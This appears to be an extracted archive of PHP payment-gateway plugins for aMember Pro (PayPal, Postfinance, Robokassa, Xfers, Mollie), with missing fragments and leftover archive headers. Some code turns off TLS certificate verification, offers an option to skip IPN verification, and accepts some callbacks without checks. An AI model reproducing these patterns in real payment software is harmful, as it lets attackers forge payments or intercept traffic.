your site secure again."); $form->addText("lc", array('size'=>4)) ->setLabel("PayPal Language Code\n" . "This field allows you to configure PayPal page language that will be displayed when customer is redirected from your website to PayPal for payment. By default, this value is empty, then PayPal will automatically choose which language to use. Or, alternatively, you can specify for example: US (for english language), or FR (for french Language) and so on. In this case, PayPal will not choose language automatically.
    Default value for this field is empty string"); $form->addText("page_style") ->setLabel("PayPal Page Style" . "\n" . "use the custom payment page style from your account profile that has the specified name. Default value for this field is empty string"); $form->addAdvCheckbox("accept_pending_echeck") ->setLabel("Recognize pending echeck payments as completed"); $form->addSelect("sra") ->setLabel("Reattempt on failure\n". "PayPal attempts to collect the payment two more times before canceling the subscription") ->loadOptions(array('2' => 'Reattempt failed recurring payments before canceling', '1' => 'Do not reattempt failed recurring payments')); } function init() { $this->domain = $this->getConfig('testing') ? 'www.sandbox.paypal.com' : 'www.paypal.com'; } public function getRecurringType() { return self::REPORTS_REBILL; } public function isNotAcceptableForInvoice(Invoice $invoice) { if ($err = parent::isNotAcceptableForInvoice($invoice)) return $err; if ($invoice->rebill_times >= 1 && $err = $this->checkPeriod(new Am_Period($invoice->first_period))) return array($err); if ($invoice->rebill_times == 1 && $invoice->second_period == Am_Period::MAX_SQL_DATE) return; if ($invoice->rebill_times >= 1 && $err = $this->checkPeriod(new Am_Period($invoice->second_period))) return array($err); if ($invoice->rebill_times != IProduct::RECURRING_REBILLS && $invoice->rebill_times > 52) return array('PayPal can not handle subscription terms with number of rebills more than 52'); } /** * Return error message if period could not be handled by PayPal * @param Am_Period $p */ public function checkPeriod(Am_Period $p){ $period = $p->getCount(); switch ($unit = strtoupper($p->getUnit())){ case 'Y': if (($period < 1) or ($period > 5)) return ___('Period must be in interval 1-5 years'); break; case 'M': if (($period < 1) or ($period > 24)) return ___('Period must be in interval 1-24 months'); break; case 'D': if (($period < 1) or ($period > 90)) return ___('Period must be in interval 1-90 days'); break; default: return sprintf(___('Unknown period unit: %s'), $unit); } } function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { if (!$this->getConfig('business')) throw new Am_Exception_Configuration("There is a configuration error in [paypal] plugin - no [business] e-mail configured"); $a = new Am_Paysystem_Action_Redirect('https://' . $this->domain . '/cgi-bin/webscr'); $result->setAction($a); $a->business = $this->getConfig('business'); $a->return = $this->getReturnUrl(); $a->notify_url = $this->getPluginUrl('ipn'); $a->cancel_return = $this->getCancelUrl(); $a->item_name = $invoice->getLineDescription(); $a->no_shipping = $invoice->hasShipping() ? 0 : 1; $a->shipping = $invoice->first_shipping; $a->currency_code = strtoupper($invoice->currency); $a->no_note = 1; $a->invoice = $invoice->getRandomizedId(); $a->bn = 'CgiCentral.aMemberPro'; $a->first_name = $invoice->getFirstName(); $a->last_name = $invoice->getLastName(); $a->address1 = $invoice->getStreet(); $a->city = $invoice->getCity(); $a->state = $invoice->getState(); $a->zip = $invoice->getZip(); $a->country = $invoice->getCountry(); $a->charset = 'utf-8'; if ($lc = $this->getConfig('lc')) $a->lc = $lc; if ($page_style = $this->getConfig('page_style')) $a->page_style = $page_style; $a->rm = 2; if ($invoice->rebill_times) { $a->cmd = '_xclick-subscriptions'; $a->sra = $this->getConfig('sra', self::DEFAULT_SRA) - 1; /** @todo check with rebill times = 1 */ $p1 = new Am_Period($invoice->first_period); $p3 = new Am_Period($invoice->second_period == Am_Period::MAX_SQL_DATE ? '5y' : $invoice->second_period); $a->a3 = $invoice->second_total; $a->p3 = $p3->getCount(); $a->t3 = $this->getPeriodUnit($p3->getUnit()); $a->tax3 = $invoice->second_tax; if($invoice->first_total == $invoice->second_total && $invoice->first_period == $invoice->second_period && $invoice->first_tax == $invoice->second_tax) { $a->src = 1; //Ticket #HPU-80211-470: paypal_r plugin not passing the price properly (or at all)? if ($invoice->rebill_times != IProduct::RECURRING_REBILLS ) $a->srt = $invoice->rebill_times + 1; } else { if ($invoice->rebill_times == 1) { $a->src = 0; } else { $a->src = 1; //Ticket #HPU-80211-470: paypal_r plugin not passing the price properly (or at all)? if ($invoice->rebill_times != IProduct::RECURRING_REBILLS ) $a->srt = $invoice->rebill_times; } $a->a1 = $invoice->first_total; $a->p1 = $p1->getCount(); $a->t1 = $this->getPeriodUnit($p1->getUnit()); $a->tax1 = $invoice->first_tax; } } else { $a->cmd = '_xclick'; $a->amount = $invoice->first_total - $invoice->first_tax - $invoice->first_shipping; $a->tax = $invoice->first_tax; } } function getPeriodUnit($unit){ $units = array('D', 'M', 'Y'); $unit = strtoupper($unit); if (!in_array($unit, $units)) throw new Am_Exception_Paysystem("Unfortunately PayPal could not handle period unit [$unit], please choose another payment method"); return $unit; } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Paypal_Transaction($this, $request, $response, $invokeArgs); } public function getReadme() { $url = $this->getPluginUrl('ipn'); return <<PayPal payment plugin installation Up to date instructions how to enable and configure PayPal plugin you may find at http://www.amember.com/docs/Payment/Paypal IPN URL to enter into PayPal settings: $url It is only necessary to enable IPN in PayPal. If IPN is already enabled, it does not matter what exactly URL is specified. aMember will automatically let PayPal know to use aMember URL. CUT; } function getUserCancelUrl(Invoice $invoice) { if( $invoice->data()->get(self::PAYPAL_PROFILE_ID) && $this->getConfig('api_username') && $this->getConfig('api_password') && $this->getConfig('api_signature') && (strpos($invoice->data()->get(self::PAYPAL_PROFILE_ID), 'S-') !== 0 ) ) return parent::getUserCancelUrl ($invoice); return 'https://' . $this->domain . '?' . http_build_query(array( 'cmd' => '_subscr-find', 'alias' => $this->getConfig('merchant_id'), ), '', '&'); } public function getAdminCancelUrl(Invoice $invoice) { if( $invoice->data()->get(self::PAYPAL_PROFILE_ID) && $this->getConfig('api_username') && $this->getConfig('api_password') && $this->getConfig('api_signature') && (strpos($invoice->data()->get(self::PAYPAL_PROFILE_ID), 'S-') !== 0 ) ) return parent::getAdminCancelUrl ($invoice); return 'https://' . $this->domain . '?' . http_build_query(array( 'cmd' => '_subscr-find', 'alias' => $this->getConfig('merchant_id'), ), '', '&'); } public function canAutoCreate() { return true; } function cancelAction(Invoice $invoice, $actionName, Am_Paysystem_Result $result) { $log = Am_Di::getInstance()->invoiceLogRecord; $log->title = "cancelRecurringPaymentProfile"; $log->paysys_id = $this->getId(); $apireq = new Am_Paysystem_PaypalApiRequest($this); $apireq->cancelRecurringPaymentProfile($invoice, $invoice->data()->get(self::PAYPAL_PROFILE_ID)); $vars = $apireq->sendRequest($log); $log->setInvoice($invoice); $log->update(); if($vars['ACK'] != 'Success') throw new Am_Exception_InputError('Transaction was not cancelled. Got error from paypal: '.$vars['L_SHORTMESSAGE0']); $invoice->setCancelled(true); $result->setSuccess(); } } class Am_Paysystem_Paypal_Transaction extends Am_Paysystem_Transaction_Paypal { protected $_autoCreateMap = array( 'name_f' => 'first_name', 'name_l' => 'last_name', 'email' => 'payer_email', 'street' => 'addres_street', 'zip' => 'address_zip', 'state' => 'address_state', 'country' => 'address_country_code', 'city' => 'address_city', 'user_external_id' => 'payer_id', 'invoice_external_id' => array('parent_txn_id', 'subscr_id', 'txn_id') , ); public function processValidated() { switch ($this->txn_type) { case self::TXN_SUBSCR_SIGNUP: if ((float)$this->invoice->first_total <= 0) // no payment will be reported if ($this->invoice->status == Invoice::PENDING) // handle only once $this->invoice->addAccessPeriod($this); // add first trial period $this->invoice->data()->set(Am_Paysystem_Paypal::PAYPAL_PROFILE_ID, $this->request->subscr_id)->update(); break; case self::TXN_SUBSCR_EOT: // Stop access only if we have lifetime access within invoice. // This is done to handle records imported from v3 if(Am_Di::getInstance()->getDbService()->selectCell(' SELECT count(*) FROM ?_access WHERE invoice_id = ? and expire_date = ?', $this->invoice->pk(), Am_Period::MAX_SQL_DATE)) $this->invoice->stopAccess($this); break; case 'recurring_payment_suspended_due_to_max_failed_payment' : $this->invoice->setStatus(Invoice::RECURRING_FAILED); $this->invoice->updateQuick('rebill_date', null); break; case self::TXN_SUBSCR_CANCEL: $this->invoice->setCancelled(true); break; case self::TXN_WEB_ACCEPT: case self::TXN_SUBSCR_PAYMENT: case self::TXN_CART: switch ($this->request->payment_status) { case 'Completed': $this->invoice->addPayment($this); break; case 'Pending': if($this->plugin->getConfig('accept_pending_echeck') && $this->request->payment_type == 'echeck') $this->invoice->addPayment($this); break; default: } if($this->request->subscr_id) $this->invoice->data()->set(Am_Paysystem_Paypal::PAYPAL_PROFILE_ID, $this->request->subscr_id)->update(); break; } switch($this->request->payment_status){ case 'Reversed': if ($originalInvoicePayment = Am_Di::getInstance()->invoicePaymentTable->findFirstBy(array( 'receipt_id' => $this->request->parent_txn_id, 'invoice_id' => $this->invoice->pk() ))) { Am_Di::getInstance()->accessTable->deleteBy(array( 'invoice_payment_id' =>$originalInvoicePayment->pk(), )); } break; case 'Canceled_Reversal': if ($originalInvoicePayment = Am_Di::getInstance()->invoicePaymentTable->findFirstBy(array( 'receipt_id' => $this->request->parent_txn_id, 'invoice_id' => $this->invoice->pk() ))) { $this->invoice->addAccessPeriod($this, $originalInvoicePayment->pk()); } break; case 'Refunded': $this->invoice->addRefund($this, $this->request->parent_txn_id, $this->getAmount()); break; case 'Chargeback': $this->invoice->addChargeback($this, $this->request->parent_txn_id); break; } } public function validateStatus() { $status = $this->request->getFiltered('status'); if($this->plugin->getConfig('accept_pending_echeck') && $this->request->getFiltered('payment_type') == 'echeck') { if($this->request->getFiltered('payment_status') == 'Pending' || $status == 'Pending') return true; } return $status === null || $status === 'Completed'; } public function validateTerms() { $currency = $this->request->getFiltered('mc_currency'); if ($currency && (strtoupper($this->invoice->currency) != $currency)) throw new Am_Exception_Paysystem_TransactionInvalid("Wrong currency code [$currency] instead of {$this->invoice->currency}"); if (in_array($this->txn_type, array(self::TXN_CART, self::TXN_SUBSCR_PAYMENT, self::TXN_WEB_ACCEPT))) { $isFirst = $this->invoice->first_total && !$this->invoice->getPaymentsCount(); if($this->invoice->first_total == $this->invoice->second_total && $this->invoice->first_period == $this->invoice->second_period) { $isFirst = false; } $expected = $isFirst ? $this->invoice->first_total : $this->invoice->second_total; if ($expected > ($amount = $this->getAmount())) throw new Am_Exception_Paysystem_TransactionInvalid("Payment amount is [$amount], expected not less than [$expected]"); } elseif ($this->txn_type == self::TXN_SUBSCR_SIGNUP) { if ($this->invoice->first_total != $this->invoice->second_total || $this->invoice->first_period != $this->invoice->second_period) { if ($this->invoice->first_total != $this->request->get('mc_amount1')) return false; } if ("" != $this->request->get('mc_amount2')) return false; if ($this->invoice->second_total != $this->request->get('mc_amount3')) return false; if ($this->invoice->currency != $this->request->get('mc_currency')) return false; $p1 = new Am_Period($this->invoice->first_period); $p3 = new Am_Period($this->invoice->second_period); try { $p1 = $p1->getCount() . ' ' . $this->plugin->getPeriodUnit($p1->getUnit()); $p3 = $p3->getCount() . ' ' . $this->plugin->getPeriodUnit($p3->getUnit()); } catch (Exception $e) { } if ($this->invoice->first_total != $this->invoice->second_total || $this->invoice->first_period != $this->invoice->second_period) { if ($p1 != $this->request->get('period1')) return false; } if ("" != $this->request->get('period2')) return false; if ($p3 != $this->request->get('period3')) return false; } return true; } public function autoCreateGetProducts() { $item_number = $this->request->get('item_number', $this->request->get('item_number1')); if (empty($item_number)) return; $billing_plan = $this->getPlugin()->getDi()->billingPlanTable->findFirstByData('paypal_id', $item_number); if($billing_plan) return array($billing_plan->getProduct()); } }PK\eyypayment/postfinance.phpnu[addText('pspid', array('size' => 20)) ->setLabel('Your Affiliation Name in Postfinance'); $form->addText('sha_in', array('size' => 20)) ->setLabel('SHA IN pass phrase'); $form->addText('sha_out', array('size' => 20)) ->setLabel('SHA OUT pass phrase'); $form->addAdvCheckbox('testing')->setLabel('Test Mode'); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $a = new Am_Paysystem_Action_Redirect($this->getConfig('testing') ? self::SANDBOX_URL : self::LIVE_URL); $result->setAction($a); $u = $invoice->getUser(); $vars = array(); $vars['PSPID'] = $this->config['pspid']; $vars['ORDERID'] = $invoice->public_id; $vars['AMOUNT'] = $invoice->first_total*100; $vars['CURRENCY'] = $invoice->currency; $vars['LANGUAGE'] = 'en_US'; $vars['CN'] = $u->getName(); $vars['EMAIL'] = $u->email; $vars['OWNERZIP'] = $u->zip; $vars['OWNERADDRESS'] = $u->street; $vars['OWNERCTY'] = $u->city; $vars['COM'] = $invoice->getLineDescription(); $vars['HOMEURL'] = $this->getReturnUrl(); $vars['ACCEPTURL'] = $this->getPluginUrl('thanks'); $vars['DECLINEURL'] = $this->getCancelUrl(); $vars['CANCELURL'] = $this->getCancelUrl(); $vars = array_filter($vars); ksort($vars); foreach($vars as $k => $v) { $sha.="$k=$v".$this->config['sha_in']; $a->addParam($k, $v); } $a->SHASIGN = sha1($sha); $result->setAction($a); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { } public function createThanksTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Postfinance_Thanks($this, $request, $response,$invokeArgs); } public function getRecurringType() { return self::REPORTS_NOT_RECURRING; } public function getSupportedCurrencies() { return array ('EUR', 'USD', 'GBP', 'CHF'); } public function getReadme() { return <<request->get('orderID'); } public function getUniqId() { return $this->request->get('PAYID'); } public function validateSource() { $vars = $this->request->getParams(); $hash = $vars['SHASIGN']; unset($vars['plugin_id'],$vars['action'],$vars['module'],$vars['controller'],$vars['type'], $vars['SHASIGN']); $vars = array_filter($vars,'strlen'); uksort($vars, 'strcasecmp'); $sha = ''; $secret = $this->plugin->getConfig('sha_out'); foreach($vars as $k => $v) $sha.=strtoupper($k)."=$v$secret"; return (strtoupper(sha1($sha)) == strtoupper($hash)); } public function validateStatus() { return in_array($this->request->get('STATUS'),array(5,9)); } public function validateTerms() { return (doubleval($this->invoice->first_total) == doubleval($this->request->get('amount'))); } }PK\hpayment/robokassa.phpnu[addText('merchant_login')->setLabel('Merchant Login'); $form->addText('merchant_pass1')->setLabel("Password #1\n" . 'From shop technical preferences'); $form->addText('merchant_pass2')->setLabel("Password #2\n" . 'From shop technical preferences'); $form->addAdvCheckbox('testing')->setLabel('Test Mode'); $form->addSelect('language', '', array('options' => array('en'=>'English', 'ru'=>'Russian')))->setLabel('Interface Language'); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $a = new Am_Paysystem_Action_Redirect($this->getConfig('testing') ? self::TEST_URL : self::LIVE_URL); $vars = array( 'MrchLogin' =>$this->getConfig('merchant_login'), 'OutSum'=> $invoice->first_total, 'InvId'=> $invoice->invoice_id, 'Desc' => $invoice->getLineDescription(), 'Culture' => $this->getConfig('language', 'en') ); $vars['SignatureValue'] = $this->getSignature($vars, $this->getConfig('merchant_pass1')); foreach($vars as $k=>$v){ $a->addParam($k,$v); } $result->setAction($a); } function getSignature($vars, $pass) { $md5 = md5($s = sprintf("%s:%s:%s:%s", $vars['MrchLogin'], $vars['OutSum'], $vars['InvId'], $pass)); return $md5; } function getIncomingSignature($vars, $pass) { $md5 = md5($s = sprintf("%s:%s:%s", $vars['OutSum'], $vars['InvId'], $pass)); return $md5; } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Robokassa($this, $request, $response, $invokeArgs); } public function createThanksTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Robokassa_Thanks($this, $request, $response, $invokeArgs); } public function getRecurringType() { return self::REPORTS_NOT_RECURRING; } function getReadme() { return <<invoice->public_id; } public function validateSource() { if(strtoupper($this->getPlugin()->getIncomingSignature($this->request->getParams(), $this->getPlugin()->getConfig('merchant_pass2'))) != $this->request->getParam('SignatureValue')) return false; return true; } public function validateStatus() { return true; } public function validateTerms() { return $this->request->getParam('OutSum') == $this->invoice->first_total; } function findInvoiceId() { $invoice = $this->getPlugin()->getDi()->invoiceTable->load($this->request->getFiltered('InvId')); return $invoice->public_id; } function processValidated() { parent::processValidated(); print "OK".$this->invoice->invoice_id; } } class Am_Paysystem_Transaction_Robokassa_Thanks extends Am_Paysystem_Transaction_Incoming_Thanks { public function getUniqId() { return $this->invoice->public_id; } public function validateSource() { if($this->getPlugin()->getIncomingSignature($this->request->getParams(), $this->getPlugin()->getConfig('merchant_pass1')) != $this->request->getParam('SignatureValue')) return false; return true; } public function validateStatus() { return true; } public function validateTerms() { return $this->request->getParam('OutSum') == $this->invoice->first_total; } function findInvoiceId() { $invoice = $this->getPlugin()->getDi()->invoiceTable->load($this->request->getFiltered('InvId')); return $invoice->public_id; } }PK\~,.,.payment/xfers.phpnu[addAdvRadio("api_ver") ->setLabel('Xfers API Version') ->loadOptions(array( '' => 'V2', '3' => 'V3', )); $form->setDefault("api_ver", ''); $form->addText("api_key", array('class' => 'el-wide api_v2')) ->setLabel('Merchant API Key'); $form->addPassword("api_secret", array('class' => 'el-wide api_v2')) ->setLabel('Merchant API Secret'); $form->addText("api_key_v3", array('class' => 'el-wide api_v3')) ->setLabel('X-XFERS-USER-API-KEY'); $form->addTextarea('meta_fields', array('class' => 'el-wide api_v3', 'rows' => 8)) ->setLabel("Additional Fields\n" . "xfers_field|amember_field\n" . "one pair per row, eg:\n" . "firstname|name_f\n" . "lastname|name_l\n" ); $form->addAdvCheckbox("testing") ->setLabel("Is it a Sandbox (Testing) Account?"); $form->addAdvCheckbox("dont_verify") ->setLabel( "Disable IPN verification\n" . "Usually you DO NOT NEED to enable this option. However, on some webhostings PHP scripts are not allowed to contact external web sites. It breaks functionality of the Xrefs payment integration plugin, and aMember Pro then is unable to contact Xrefs to verify that incoming IPN post is genuine. In this case, AS TEMPORARY SOLUTION, you can enable this option to don't contact Xrefs server for verification. However, in this case \"hackers\" can signup on your site without actual payment. So if you have enabled this option, contact your webhost and ask them to open outgoing connections to www.xfers.io port 80 ASAP, then disable this option to make your site secure again."); $form->addScript() ->setScript(<<getConfig('api_ver') == 3) { return $this->_process3($invoice, $request, $result); } $u = $invoice->getUser(); $domain = $this->getConfig('testing') ? Am_Paysystem_Xfers::SANDBOX_DOMAIN : Am_Paysystem_Xfers::LIVE_DOMAIN; $a = new Am_Paysystem_Action_Form('https://' . $domain . '/api/v2/payments'); $a->api_key = $this->getConfig('api_key'); $a->order_id = $invoice->public_id; $a->cancel_url = $this->getCancelUrl(); $a->return_url = $this->getReturnUrl(); $a->notify_url = $this->getPluginUrl('ipn'); if ($invoice->first_tax) { $a->tax = $invoice->first_tax; } /* @var $item InvoiceItem */ $i = 1; foreach ($invoice->getItems() as $item) { $a->{'item_name_' . $i} = $item->item_title; $a->{'item_description_' . $i} = $item->item_description; $a->{'item_quantity_' . $i} = $item->qty; $a->{'item_price_' . $i} = moneyRound($item->first_total/$item->qty); $i++; } $a->total_amount = $invoice->first_total; $a->currency = $invoice->currency; $a->user_email = $invoice->getUser()->email; $a->signature = sha1($a->api_key . $this->getConfig('api_secret') . $a->order_id . $a->total_amount . $a->currency); $result->setAction($a); } public function _process3(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $req = $this->createHttpRequest(); $req->setUrl('https://' . ($this->getConfig('testing') ? self::SANDBOX_DOMAIN : self::LIVE_DOMAIN) . '/api/v3/charges'); $req->setMethod(Am_HttpRequest::METHOD_POST); $req->setConfig('ssl_verify_peer', false); $req->setConfig('ssl_verify_host', false); $req->setHeader(array( 'X-XFERS-USER-API-KEY' => $this->getConfig('api_key_v3'), 'Content-Type' => 'application/json' )); $data = array( 'amount' => $invoice->first_total, 'currency' => $invoice->currency, 'order_id' => $invoice->public_id, 'description' => $invoice->getLineDescription(), 'notify_url' => $this->getPluginUrl('ipn3'), 'return_url' => $this->getReturnUrl(), 'cancel_url' => $this->getCancelUrl(), 'redirect' => 'false', 'items' => array(), 'meta_data' => $this->getMetaData($invoice->getUser()), 'receipt_email' => $invoice->getEmail(), ); /* @var $item InvoiceItem */ foreach ($invoice->getItems() as $item) { $data['items'][] = array( 'name' => $item->item_title, 'description' => $item->item_description, 'price' => moneyRound($item->first_total/$item->qty), 'quantity' => $item->qty, ); } if ($invoice->first_shipping) { $data['shipping'] = $invoice->first_shipping; } if ($invoice->first_tax) { $data['tax'] = $invoice->first_tax; } $req->setBody(json_encode($data)); $resp = $req->send(); if($resp->getStatus() != 200 || !($body = $resp->getBody()) || !($ret = json_decode($body, true)) || empty($ret['checkout_url'])) { throw new Am_Exception_Paysystem("Bad response, Xrefs answers: " . $resp->getBody() . '=' . $resp->getStatus()); } $a = new Am_Paysystem_Action_Redirect($ret['checkout_url']); $result->setAction($a); } protected function getMetaData(User $user) { $meta = array(); $cfg = $this->getConfig('meta_fields'); if (!empty($cfg)) { foreach (explode("\n", str_replace("\r", "", $cfg)) as $str) { if (!$str) continue; list($k, $v) = explode("|", $str); if (!$v) continue; if (($value = $user->get($v)) || ($value = $user->data()->get($v))) { $meta[$k] = $value; } } } return $meta; } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { if($request->getActionName() == 'ipn3' || $this->getConfig('api_ver')) { return new Am_Paysystem_Transaction_Xfers3($this, $request, $response, $invokeArgs); } return new Am_Paysystem_Transaction_Xfers($this, $request, $response, $invokeArgs); } public function getRecurringType() { return self::REPORTS_NOT_RECURRING; } public function getSupportedCurrencies() { return array('SGD'); } } class Am_Paysystem_Transaction_Xfers extends Am_Paysystem_Transaction_Incoming { const STATUS_CANCELED = 'cancelled'; const STATUS_PAID = 'paid'; const STATUS_EXPIRED = 'expired'; public function findInvoiceId() { return $this->request->getFiltered('order_id'); } public function getUniqId() { return $this->request->getFiltered('txn_id'); } public function validateSource() { // validate if that is genuine POST coming from Xfers if (!$this->plugin->getConfig('dont_verify')) { $req = $this->plugin->createHttpRequest(); $domain = $this->plugin->getConfig('testing') ? Am_Paysystem_Xfers::SANDBOX_DOMAIN : Am_Paysystem_Xfers::LIVE_DOMAIN; $req->setConfig('ssl_verify_peer', false); $req->setConfig('ssl_verify_host', false); $req->setUrl('https://' . $domain . '/api/v2/payments/validate'); foreach ($this->request->getRequestOnlyParams() as $key => $value) $req->addPostParameter($key, $value); $req->setMethod(Am_HttpRequest::METHOD_POST); $resp = $req->send(); if ($resp->getStatus() != 200 || $resp->getBody() !== "VERIFIED") throw new Am_Exception_Paysystem("Wrong IPN received, Xrefs answers: " . $resp->getBody() . '=' . $resp->getStatus()); } return $this->request->getFiltered('api_key') == $this->getPlugin()->getConfig('api_key'); } public function validateStatus() { return $this->request->getFiltered('status') == self::STATUS_PAID; } public function validateTerms() { return $this->request->get('total_amount') == $this->invoice->first_total && $this->request->get('currency') == $this->invoice->currency; } } class Am_Paysystem_Transaction_Xfers3 extends Am_Paysystem_Transaction_Incoming { const STATUS_CANCELED = 'cancelled'; const STATUS_PAID = 'paid'; const STATUS_EXPIRED = 'expired'; public function findInvoiceId() { return $this->request->getFiltered('order_id'); } public function getUniqId() { return $this->request->getFiltered('txn_id'); } public function validateSource() { // validate if that is genuine POST coming from Xfers if (!$this->plugin->getConfig('dont_verify')) { $domain = $this->plugin->getConfig('testing') ? Am_Paysystem_Xfers::SANDBOX_DOMAIN : Am_Paysystem_Xfers::LIVE_DOMAIN; $req = $this->plugin->createHttpRequest(); $req->setUrl('https://' . $domain . '/api/v3/charges/' . $this->getUniqId() . '/validate'); $req->setMethod(Am_HttpRequest::METHOD_POST); $req->setConfig('ssl_verify_peer', false); $req->setConfig('ssl_verify_host', false); $req->setHeader(array( 'X-XFERS-USER-API-KEY' => $this->plugin->getConfig('api_key_v3'), 'Content-Type' => 'application/json' )); $data = array(); foreach ($this->request->getRequestOnlyParams() as $key => $value) { if(in_array($key, array('order_id', 'total_amount', 'currency', 'status'))) { $data[$key] = $value; } } $req->setBody(json_encode($data)); $resp = $req->send(); if($resp->getStatus() != 200 || !($body = $resp->getBody()) || !($ret = json_decode($body, true)) || $ret['msg'] !== 'VERIFIED') { throw new Am_Exception_Paysystem("Wrong IPN received, Xrefs answers: " . $resp->getBody() . '=' . $resp->getStatus()); } } return true; } public function validateStatus() { return $this->request->getFiltered('status') == self::STATUS_PAID; } public function validateTerms() { return $this->request->get('total_amount') == $this->invoice->first_total && $this->request->get('currency') == $this->invoice->currency; } } PK\b֨##payment/mollie.phpnu[addText('api_key', 'class="el-wide"') ->setLabel('Mollie API Key'); } /** * @return Am_Rest_Client_Mollie */ function restClient() { $client = new Am_Rest_Client_Mollie(); $client->setKey($this->getConfig('api_key')); return $client; } /** * @param Invoice $invoice * @param Am_Mvc_Request $request * @param Am_Paysystem_Result $result */ function _process($invoice, $request, $result) { $user = $invoice->getUser(); if (!($customer_id = $user->data()->get(self::DATA_MOLLIE_CUSTOMER_ID))) { $customer = $this->restClient() ->customers() ->create(array( 'name' => $invoice->getName(), 'email' => $invoice->getEmail() )); $user->data() ->set(self::DATA_MOLLIE_CUSTOMER_ID, $customer_id = $customer['id']) ->update(); } $paymentReq = array( 'amount' => $invoice->first_total, 'description' => $invoice->getLineDescription(), 'redirectUrl' => $this->getReturnUrl(), 'webhookUrl' => $this->getPluginUrl('ipn'), 'metadata' => array('invoice' => $invoice->public_id), 'customerId' => $user->data()->get(self::DATA_MOLLIE_CUSTOMER_ID) ); if ($invoice->rebill_times) { $paymentReq['recurringType'] = 'first'; } $payment = $this->restClient() ->payments() ->create($paymentReq); if ($url = @$payment['links']['paymentUrl']) { $a = new Am_Paysystem_Action_Redirect($url); $result->setAction($a); } else { throw new Am_Exception_InternalError('No url was returned. Payment object: ' . print_r($payment, true)); } } function createTransaction($request, $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Mollie($this, $request, $response, $invokeArgs); } public function getUserCancelUrl(Invoice $invoice) { if ($invoice->data()->get(self::DATA_MOLLIE_SUBSCRIPTION_ID)) { return parent::getUserCancelUrl($invoice); } } public function getAdminCancelUrl(Invoice $invoice) { if ($invoice->data()->get(self::DATA_MOLLIE_SUBSCRIPTION_ID)) { return parent::getAdminCancelUrl($invoice); } } public function cancelAction(Invoice $invoice, $actionName, Am_Paysystem_Result $result) { $cid = $invoice->data()->get(self::DATA_MOLLIE_CUSTOMER_ID); $sid = $invoice->data()->get(self::DATA_MOLLIE_SUBSCRIPTION_ID); $req = new Am_HttpRequest(Am_Rest_Client_Mollie::URL . "customers/{$cid}/subscriptions/{$sid}", Am_HttpRequest::METHOD_DELETE); $req->setHeader("Authorization: Bearer {$this->getConfig('api_key')}"); $l = $this->logOther('CANCEL', $req); $l->setInvoice($invoice); $resp = $req->send(); $l->add($resp); if ($resp->getStatus() == 200) { $result->setSuccess(); $invoice->setCancelled(true); } else { $result->setErrorMessages(); } } } class Am_Paysystem_Transaction_Mollie extends Am_Paysystem_Transaction_Incoming { protected $payment; function validate() { if ($id = $this->request->getFiltered('id')) { $this->payment = $this->getPlugin()->restClient()->payments()->get($id); $this->log->add($this->payment); } return parent::validate(); } function findInvoiceId() { if ($this->payment['recurringType'] == 'recurring' && $invoice = $this->getPlugin()->getDi()->invoiceTable ->findFirstByData(Am_Paysystem_Mollie::DATA_MOLLIE_SUBSCRIPTION_ID, $this->payment['subscriptionId'])) { return $invoice->public_id; } else { return @$this->payment['metadata']['invoice']; } } function getUniqId() { return @$this->payment['id']; } function validateSource() { return !empty($this->payment); } function validateStatus() { return true; } function validateTerms() { return true; } function processValidated() { switch (@$this->payment['status']) { case 'refunded': $this->invoice->addRefund($this, @$this->payment['id']); break; case 'charged_back' : $this->invoice->addChargeback($this, @$this->payment['id']); break; case 'paid': $this->invoice->addPayment($this); if ($this->payment['recurringType'] == 'first' && $this->invoice->rebill_times) { $p = new Am_Period($this->invoice->first_period); $startDate = $p->addTo('now'); $subscirption = array( 'description' => $this->invoice->getLineDescription(), 'amount' => $this->invoice->second_total, 'interval' => $this->getInterval($this->invoice->second_period), 'startDate' => $startDate, 'webhookUrl' => $this->getPlugin()->getPluginUrl('ipn') ); if ($this->invoice->rebill_times != Product::RECURRING_REBILLS) { $subscirption['times'] = $this->invoice->rebill_times; } $r = $this->getPlugin() ->restClient() ->setEndpoint('customers/' . $this->invoice->getUser()->data()->get(Am_Paysystem_Mollie::DATA_MOLLIE_CUSTOMER_ID) . '/subscriptions') ->create($subscirption); $this->log->add($r); $this->invoice->data()->set(Am_Paysystem_Mollie::DATA_MOLLIE_SUBSCRIPTION_ID, $r['id']); $this->invoice->data()->set(Am_Paysystem_Mollie::DATA_MOLLIE_CUSTOMER_ID, $r['customerId']); $this->invoice->save(); } break; } } function getInterval($int) { $p = new Am_Period($int); switch ($p->getUnit()) { case Am_Period::DAY : return sprintf('%s days', $p->getCount()); case Am_Period::MONTH : return sprintf('%s months', $p->getCount()); case Am_Period::YEAR : return sprintf('%s months', $p->getCount() * 12); } } } class Am_Rest_Client_Mollie extends Am_HttpRequest { const URL = 'https://api.mollie.nl/v1/'; protected $key, $endpoint; function setKey($key) { $this->key = $key; } function getKey() { return $this->key; } function setEndpoint($endpoint) { $this->endpoint = $endpoint; return $this; } function getEndpoint() { return $this->endpoint; } function __call($method, $object) { $this->setEndpoint($method); return $this; } function create($obj) { $this->setMethod(self::METHOD_POST); $this->setUrl(self::URL . $this->getEndpoint()); $this->setAuthHeader(); foreach ($obj as $k => $v) { $this->addPostParameter($k, $v); } $resp = $this->send(); if ($resp->getStatus() != 201) throw new Am_Rest_Client_Mollie_Exception("Object wasn't created. Status: " . $resp->getStatus() . " Response: " . $resp->getBody() . " Request: " . $this->getBody()); return json_decode($resp->getBody(), true); } function get($id) { $this->setMethod(self::METHOD_GET); $this->setUrl(self::URL . $this->getEndpoint() . '/' . $id); $this->setAuthHeader(); $resp = $this->send(); if ($resp->getStatus() != 200) throw new 